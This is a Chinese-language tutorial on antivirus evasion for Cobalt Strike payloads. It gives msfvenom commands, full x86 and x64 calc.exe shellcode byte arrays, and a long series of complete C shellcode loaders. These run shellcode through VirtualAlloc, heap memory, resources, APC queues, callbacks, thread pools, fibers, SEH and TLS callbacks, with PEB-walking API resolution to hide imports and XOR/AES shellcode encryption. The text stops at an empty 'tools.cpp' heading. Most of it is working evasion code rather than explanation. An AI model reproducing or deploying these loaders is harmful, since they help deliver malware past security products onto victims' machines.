免杀入门 环境:cobalt strike 4.4 、自实现profile、全文使用c类型shellcode。
PS:本人水平低下,针对syscall等底层原理内容实在难于下手,免得乱写一通。
shellcode的编写 手动编写(x) 手动编写暂时挖坑
c2生成 利用msf生成shellcode
msfvenom -p windows/x64/exec cmd="calc.exe" -f c -o shellcode.c msfvenom -p windows/exec cmd="calc.exe" -f c -o shellcode2.c msfvenom -p windows/x64/exec cmd="calc.exe" -f raw -o calc
x64,calc
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
x86,calc
unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" "\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" "\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" "\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" "\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" "\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
shellcode的加载 总结加载Shellcode的各种方式 - 亨利其实很坏
内联汇编 直接嵌入汇编语言调用shellcode,vs中默认不支持x64,仅支持x32位的shellcode
#pragma comment(linker, "/section:.data,RWE") //data段可读写 //#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示窗口 unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" "\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" "\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" "\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" "\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" "\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; void main() { __asm { lea eax,buf call eax } }
mov eax, offset ShellCode 可以用 lea eax, ShellCode 代替
jmp 也可以用 call 代替
添加花指令:
花指令简析_花指令生成
#include <windows.h> #include <stdio.h> #pragma comment(linker, "/section:.data,RWE") unsigned char shellcode[] =""; void main() { __asm { mov eax, offset shellcode _emit 0xFF _emit 0xE0 } }
函数指针执行 将buf的首地址强转为函数指针并调用,而buf的首地址内容为shellcode
#pragma comment(linker, "/section:.data,RWE") //data段可读写执行 #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示windows窗口 unsigned char buf[] = "shellcode"; void main() { ( (void(*)(void)) & buf)(); // ( (void(WINAPI*)(void)) & buf)(); }
理解 (*(void (*)()) lpBaseAddress)()
就是把从指定地址开始的命令当作函数进行调用执行。
void (*)()
是一个无参数、无返回类型的函数指针。
(void (*)())lpBaseAddress
是将lpBaseAddress强转为函数指针类型。
(*(void (*)()) lpBaseAddress)()
就是通过函数指针(相当于这个格式(*函数指针)()
)进行函数调用。
没有调用WinApi,可对shellcode进行加密编码
申请动态内存加载 通过调用winapi:VirtualAlloc 主要用于在进程的虚拟地址空间中分配一块内存,这块内存可以被用于多种目的,包括作为堆、栈、映射文件等。将shellcode复制到申请的地址,通过 函数指针执行 或 创建线程执行
申请内存页时,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。这样也能规避掉一些特征查杀。
函数指针执行:
#include <Windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口 unsigned char buf[] = "shellcode is here"; main() { char *Memory; Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)(); }
创建线程执行:
在创建线程时需要进行等待子线程完成,sleep一会或者WaitForSingleObject等待信号
main退出时自动调用ExitProcess(),操作系统终止所有运行的线程。WaitForSingleObject保证main在子线程运行期间不返回。
#include <windows.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char buf[] ="shellcode is here"; void main() { LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlMoveMemory(pMemory, buf, sizeof(buf)); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); VirtualFree(pMemory, 0, MEM_RELEASE); }
堆加载 类似于动态申请内存,只不过申请的是堆空间
#include <windows.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char buf[] ="shellcode is here"; int main() { HANDLE heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0); LPVOID buffer = HeapAlloc(heap, HEAP_ZERO_MEMORY,sizeof(buf)); RtlMoveMemory(buffer,buf,sizeof(buf)); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); HeapFree(heap, 0, buffer); return 0; }
资源节加载 资源文件通常存放在 .rsrc
节(Resource Section)中。.rsrc
节是 PE(Portable Executable)文件格式中的一个节(section),用于存储程序的资源信息,如图标、对话框、字符串、位图等。每个资源项都有一个唯一的标识符(ID),程序可以通过这个标识符来获取特定的资源。
vs中 添加资源,导入bin文件,自定义资源类型
#include <Windows.h> #include "resource.h" //通过资源加载ShellCode void ResourceLoader() { //获取资源 HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE1), L"shellcode"); //用于获取资源的大小 DWORD ResSize = SizeofResource(NULL, Res); //LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数据的句柄 HGLOBAL Load = LoadResource(NULL, Res); //申请内存 void* buffer = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(buffer, Load, ResSize); //执行shellcode ((void(*)(void)) buffer)(); } int main() { ResourceLoader(); return 0; }
APC注入 异步过程调用(APC)队列是一个与线程关联的队列,用于存储要在该线程上下文中异步执行的函数。操作系统内核会跟踪每个线程的 APC 队列,并在适当的时机触发队列中挂起的函数。APC 队列通常用于实现线程间的异步通信、定时器回调以及异步 I/O 操作。
触发流程:
使用 VirtualProtect
函数修改 shellcode
所在内存区域的保护属性,将其设置为可执行、可读、可写
获取 NtTestAlert
函数的地址。(这是一个内部函数,无法直接通过函数名调用,NtTestAlert
函数用于检查当前线程的 APC 队列,如果队列中有挂起的用户模式 APC 请求,NtTestAlert
将触发它们的执行)
使用 QueueUserAPC
函数向当前线程的 APC 队列添加一个执行 Shellcode 的任务
调用 NtTestAlert
函数,触发 APC 队列中的任务执行,实现 Shellcode 的执行
#include <Windows.h> #include <stdio.h> typedef DWORD(WINAPI* pNtTestAlert)(); unsigned char buf[] = "shellcode is here"; int main() { // 修改 shellcode 所在内存区域的保护属性,允许执行 DWORD oldProtect; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); //获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用 pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert")); // 将buf强转为APC 函数,向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务 QueueUserAPC((PAPCFUNC)buf, GetCurrentThread(), NULL); //调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode) NtTestAlert(); return 0; }
基于回调函数 通过 各种回调函数
EnumTimeFormatsA EnumWindows EnumDesktopWindows EnumDateFormatsA EnumChildWindows EnumThreadWindows EnumSystemLocalesA EnumSystemGeoID EnumSystemLanguageGroupsA EnumUILanguagesA EnumSystemCodePagesA EnumDesktopsW EnumSystemCodePagesW ...
EnumFontsW
#include <Windows.h> unsigned char buf[] = "shellcode is here"; int main() { // 开辟空间 void *shellcode = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE); // copy shellcode RtlMoveMemory(shellcode, buf, sizeof(buf)); // 触发回调函数 EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)shellcode, NULL); EnumUILanguages((UILANGUAGE_ENUMPROCW)shellcode, 0, NULL); return 0; }
线程池等待 类似于回调函数,只不过是在线程池的应用中的几个函数
#include <Windows.h> unsigned char buf[] = "shellcode is here"; int main() { void* shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlMoveMemory(shellcode, buf, sizeof(buf)); /* * CreateEvent是Windows API,用于创建一个事件对象 * 参数1:安全属性,NULL表示默认 * 参数2:是否手动复位 * 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态 * 参数4:事件名称,NULL表示不使用名称 */ HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL); /* * CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象 * 参数1:回调函数指针 * 参数2:回调函数参数 * 参数3:线程池回调环境 */ PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)shellcode, NULL, NULL); /* * SetThreadpoolWait是Windows API,用于向线程池中添加等待对象 * 参数1:线程池等待对象 * 参数2:要等待的内核对象句柄 * 参数3:等待超时时间,NULL表示无限等待 */ SetThreadpoolWait(threadPoolWait, event, NULL); WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数buf return 0; }
纤程加载 #include <Windows.h> unsigned char buf[] = "shellcode is here"; int main() { DWORD oldProtect; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // 将当前线程转换为纤程(轻量级线程) ConvertThreadToFiber(NULL); // 创建一个纤程对象,关联到shellcode作为纤程入口点,使用默认栈大小和无标志位 void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL); // 切换到新创建的纤程,开始执行shellcode SwitchToFiber(shellcodeFiber); // shellcode执行完毕后,删除纤程对象 DeleteFiber(shellcodeFiber); return 0; }
基于SEH异常处理 SEH(Structured Exception Handling,结构化异常处理)是 Windows 平台提供的一种异常处理机制,它允许程序员编写结构化的代码来处理异常情况。SEH 提供了一种在程序中捕获、处理和传播异常的方法,可以有效地处理诸如访问违例、除以零、内存访问错误等异常情况。
SEH 提供了以下关键元素来实现异常处理:
__try 块:用于包裹可能会引发异常的代码块。
__except 块:用于捕获和处理异常的代码块。
__finally 块(可选):用于执行清理操作的代码块,在异常处理完毕后无论是否发生异常都会执行。
__leave 语句(可选):用于退出包裹在 __try 块中的代码。
#include <Windows.h> #pragma comment(linker, "/section:.data,RWE") //#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示窗口 unsigned char buf[] = "shellcode is here"; int a = 1; int b = 0; int exceptFilter() { b = 1; // 修改b的值为1,以防止无限循环的异常处理 ((void(*)(void)) & buf)(); return EXCEPTION_EXECUTE_HANDLER; /* 异常处理函数的返回值除了有EXCEPTION_CONTINUE_EXECUTION,还有以下两个值: EXCEPTION_EXECUTE_HANDLER:常处理器已处理异常,程序应在_except块内继续执行 EXCEPTION_CONTINUE_SEARCH:常处理器未处理异常,程序应继续搜索其他异常处理器 */ } int main() { __try { int c = a / b; } __except (exceptFilter()) { } return 0; }
TLS机制 TLS回调函数的学习 、TLS Code Execute
线程局部存储(TLS),是一种变量的存储方法,这个变量在它所在的线程内是全局可访问的,但是不能被其他线程访问到,这样就保持了数据的线程独立性。在启用了TLS功能的PE文件中,会设置有关于TLS的TLS Table(TLS表),这个表的位置信息可以在IMAGE_DATA_DIRECTORY DataDirectory[9]中找到。
TLS的数据结构体如下:
32位 typedef struct _IMAGE_TLS_DIRECTORY32 { DWORD StartAddressOfRawData; DWORD EndAddressOfRawData; DWORD AddressOfIndex; // PDWORD DWORD AddressOfCallBacks; // PIMAGE_TLS_CALLBACK * DWORD SizeOfZeroFill; union { DWORD Characteristics; struct { DWORD Reserved0 : 20; DWORD Alignment : 4; DWORD Reserved1 : 8; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; } IMAGE_TLS_DIRECTORY32; 64位 typedef struct _IMAGE_TLS_DIRECTORY64 { ULONGLONG StartAddressOfRawData; ULONGLONG EndAddressOfRawData; ULONGLONG AddressOfIndex; // PDWORD ULONGLONG AddressOfCallBacks; // PIMAGE_TLS_CALLBACK *; DWORD SizeOfZeroFill; union { DWORD Characteristics; struct { DWORD Reserved0 : 20; DWORD Alignment : 4; DWORD Reserved1 : 8; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; } IMAGE_TLS_DIRECTORY64;
其中 AddressOfCallBacks 这个成员是一个指向函数地址数组的指针,这里的函数的地址就是 TLS回调函数 的实际地址
TLS回调函数:
每当创建/终止线程时会自动调用执行的函数(创建进程的主线程时也会自动调用回调函数,且回调函数的执行顺序是 先于EP代码 的执行,即先于main函数,所以TLS回调函数的这个特性通常被用于反调试技术 )由于是创建和终止线程时都会调用,所以在程序从打开到结束这个TLS回调函数会被执行两次。
TLS函数模板如下
typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK) ( PVOID DllHandle, DWORD Reason, PVOID Reserved );
32位与64位声明不同
#include <Windows.h> #include <stdio.h> unsigned char buf[] ="shellcode is here"; //TLS回调函数 VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved) { if (dwReason == DLL_PROCESS_ATTACH) { void* shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlMoveMemory(shellcode, buf, sizeof(buf)); ((void(*)()) shellcode)(); } } //使用TLS需要在程序中新建一个.tls段专门存放TLS数据,申明使用 #ifdef _WIN64 //64位 #pragma comment (linker, "/INCLUDE:_tls_used") #pragma comment (linker, "/INCLUDE:tls_callback_func") #else //32位 #pragma comment (linker, "/INCLUDE:__tls_used") #pragma comment (linker, "/INCLUDE:_tls_callback_func") #endif //注册TLS回调函数 #ifdef _WIN64 #pragma const_seg(".CRT$XLF") //64位 EXTERN_C const #else #pragma data_seg(".CRT$XLF") //32位 EXTERN_C #endif PIMAGE_TLS_CALLBACK tls_callback_func[] = { TlsCallBack,0 }; #ifdef _WIN64 #pragma const_seg() //64位 #else #pragma data_seg() //32位 #endif int main() { printf("After TLS"); return 0; }
tips:TLS的特性可以加入反调试:TLS及反调试机制
动态API加载 一些敏感API函数或敏感API函数组合会被监控,同时在PE导入表也会列出敏感函数,通过动态加载:调用函数在PE导入表中不可见
主要通过两个函数实现:GetProcAddress 和 LoadLibraryA
一些前置:
在RING3下 FS寄存器 指向 TEB(线程结构体) ,在TEB+0x30处就是 PEB进程结构体 ,PEB+0xC的位置就是 _PEB_LDR_DATA结构体 ,里面包含了dll加载链,该结构体中的 InInitializationOrderModuleList 这个链表 第二个必定是kernel32.dll
流程思路:
定位关键模块:首先找到包含核心API函数的关键模块(如kernel32.dll)。这通常可以通过解析PEB(Process Environment Block)中的模块列表来完成。
获取GetProcAddress:定位到kernel32.dll后,需要解析导出表(Export Table)以获取GetProcAddress函数的地址。GetProcAddress是一个核心函数,用于在运行时动态解析其他API函数的地址。
加载其他API:通过GetProcAddress函数 ,可以逐个获取其他需要的API函数的地址。例如,可以通过GetProcAddress获取VirtualProtect、CreateThread和WaitForSingleObject等函数的地址。
准备Shellcode:将Shellcode存储在缓冲区中,使用VirtualProtect函数将缓冲区的内存页属性更改为可执行,以确保可以安全地执行Shellcode。
创建线程并执行Shellcode:使用CreateThread函数创建一个新线程,并将Shellcode的地址作为线程的启动例程。线程创建后,使用WaitForSingleObject等待线程执行完成
编写:
x86 ,直接利用汇编获取kernel32.dll地址
__asm { push eax mov eax, fs:[0x30] mov eax, [eax + 0xc] mov eax, [eax + 0x1c] mov eax, [eax] mov eax, [eax + 0x8] mov kernel32Address,eax pop eax }
#include <Windows.h> #include <stdio.h> unsigned char buf[] = "shellcode is here"; DWORD GetKernel32Address() { DWORD kernel32Address = 0; __asm { push eax mov eax, fs:[0x30] mov eax, [eax + 0xc] mov eax, [eax + 0x1c] mov eax, [eax] mov eax, [eax + 0x8] mov kernel32Address,eax pop eax } printf("[+]kernel32 base: 0x%p\n", kernel32Address); return kernel32Address; } DWORD RGetProcAddress(DWORD kernelbase) { // 获取Dos头即起始地址 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)kernelbase; // 获取NT头 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + kernelbase); // 数据目录 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; // 导出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(pDataDir->VirtualAddress + kernelbase); printf("[+]Export Addr: 0x%p\n", pExport); //函数总数 DWORD dwFunCount = pExport->NumberOfFunctions; //函数名称数量 DWORD dwFunNameCount = pExport->NumberOfNames; //函数地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + kernelbase); //函数名称地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + kernelbase); //序号表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + kernelbase); for (size_t i = 0; i < dwFunCount; i++) { //判断函数地址是否存在,为空 if (!pAddrOfFun[i]) { continue; } //通过函数地址遍历函数名称地址,获取想要的函数 DWORD dwFunAddrOffset = pAddrOfFun[i]; for (size_t j = 0; j < dwFunNameCount; j++) { if (pAddrOfOrdinals[j] == i) { DWORD dwNameOffset = pAddrOfNames[j]; char* pFunName = (char*)(kernelbase + dwNameOffset); if (strcmp(pFunName, "GetProcAddress") == 0) { printf("[+]GetProcAddress Addr: 0x%p\n", dwFunAddrOffset + kernelbase); return dwFunAddrOffset + kernelbase; } } } } } // 根据原函数结构,声明定义api函数 typedef FARPROC(WINAPI* pGetProcAddress)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName); typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD); typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD); int main() { // kernel32地址 HMODULE kernelbase = (HMODULE)GetKernel32Address(); // GetProcAddress函数地址 pGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress(kernelbase); //开始获取各种函数 pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(kernelbase, "VirtualProtect"); pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(kernelbase, "CreateThread"); pWaitForSingleObject MyWaitForSingleObject = (pWaitForSingleObject)MyGetProcAddress(kernelbase, "WaitForSingleObject"); // 组合加载shellcode DWORD oldProtect; MyVirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL); MyWaitForSingleObject(hThread, INFINITE); return 0; }
x64 ,默认无法使用汇编
在项目中右键新建项 GetInitializationOrderModuleList.asm
,用于获取 InitializationOrderModuleList
.CODE GetInInitializationOrderModuleList PROC mov rax,gs:[60h] mov rax,[rax+18h] mov rax,[rax+30h] ret GetInInitializationOrderModuleList ENDP END
右键单击新建的asm文件, 选择属性, 在常规选项处将 从生成中排除
设置为 否
, 项类型设置为 自定义生成工具
在自定义生成工具选项处
在命令行框输入 ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm
在输出框输入 $(IntDir)%(FileName).obj
打开项目属性,勾选 C/C++->代码生成->禁用安全检查
#include <Windows.h> #include <stdio.h> unsigned char buf[] = "shellcode is here"; // 声明获取 InInitializationOrderModuleList 链表的函数 extern "C" PVOID __stdcall GetInInitializationOrderModuleList(); // UNICODE_STRING 结构体定义 typedef struct _UNICODE_STRING { USHORT Length; //表示字符串中的字符数,由于它是unicode形式的字符,因此每个字符占两个字节 USHORT MaximumLength; //分配的内存空间的大小,以字节为单位 PWSTR Buffer; //表示指向存储Unicode字符串的字符数组的指针 } UNICODE_STRING, * PUNICODE_STRING; // 获取 Kernel32.dll 的基地址 HMODULE GetKernel32Address() { // 获取 InInitializationOrderModuleList 链表 LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList(); while (1) { // 获取 FullDllName 成员 UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38); // 如果 Buffer 中的第 13 个字符为空字符,则已找到 Kernel32.dll if (*(FullDllName->Buffer + 12) == '\0') { // 返回模块的基地址 return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10))); } pNode = pNode->Flink; } } // 获取 GetProcAddress 函数的地址 DWORD64 RGetProcAddress(HMODULE hKernal32) { // 获取 DOS 头 PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 获取 NT 头 PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); // 获取导出表 PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出函数地址数组、导出函数名数组和导出函数序号数组 PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions); PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals); // 遍历导出函数 for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 获取当前函数地址 LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 获取当前函数名地址 PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 如果当前函数名是 "GetProcAddress",返回其地址 if (!strcmp((const char*)FunctionName, "GetProcAddress")) { return F_va_Tmp; } } } // 定义函数指针类型 typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR); typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD); typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD); int main() { // 获取 Kernel32.dll 的基地址和GetProcAddress函数地址 HMODULE hKernal32 = GetKernel32Address(); pGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress(hKernal32); //开始获取各种函数 pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(hKernal32, "VirtualProtect"); pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(hKernal32, "CreateThread"); pWaitForSingleObject MyWaitForSingleObject = (pWaitForSingleObject)MyGetProcAddress(hKernal32, "WaitForSingleObject"); // 组合加载shellcode DWORD oldProtect; MyVirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL); MyWaitForSingleObject(hThread, INFINITE); return 0; }
参考:
免杀技巧之API动态加载技术
通过重写ring3 API函数实现免杀
动态调用系统API避免导入表检测
通过隐藏导入表的方式规避杀软
工具:
lazy_importer: library for importing functions from dlls in a hidden, reverse engineer unfriendly way
进程注入(x) 大块内容,暂时挖坑
高级进程注入总结
进程注入、代码注入、傀儡注入检测
Windows Process Injection(Windows进程注入)
Ten process injection techniques: A technical survey of common and trending process injection techniques | Elastic Blog
SECFORCE - Security without compromise
TrustedSec | Burrowing a Hollow in a DLL to Hide
Hiding malicious code with “Module Stomping”: Part 1 - F-Secure Blog
Process Code Injection Through Undocumented NTAPI (omroot.io)
shellcode的混淆加密 针对shellcode不同的加密方式
XOR shellcode生成
msfvenom -p windows/x64/exec cmd="calc.exe" --encrypt xor -f c -o shellcode.c --encrypt-key test
#include <Windows.h> #include <stdio.h> unsigned char encshellcode[] = "xor shellcode is here"; int main() { int buflen = sizeof encshellcode; char key[] = "test"; unsigned char shellcode[sizeof encshellcode]; // XOR 解密 int j = 0; for (int i = 0; i < sizeof encshellcode; i++) { if (j == sizeof key - 1) j = 0; shellcode[i] = encshellcode[i] ^ key[j]; j++; } for (int i = 0; i < sizeof shellcode; i++) { printf("\\x%02x", shellcode[i]); } void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); return 0; }
tips:使用 InterlockedXor 进行平替异或符号,加载混淆的shellcode实现静态免杀
AES 导入aes模块:ShellcodeEncryption/aes加密
项目结构如下
tools.h
#include "AES.h" #include "Base64.h" #include <iostream> #include <random> #include <sstream> #include <iomanip> #include <Windows.h> #include <tchar.h> string EncryptionAES(const string& strSrc, const char* g_key, const char* g_iv); string DecryptionAES(const string& strSrc, const char* g_key, const char* g_iv); string random_string(size_t length); string toHexString(unsigned char* data, size_t len);
tools.cpp
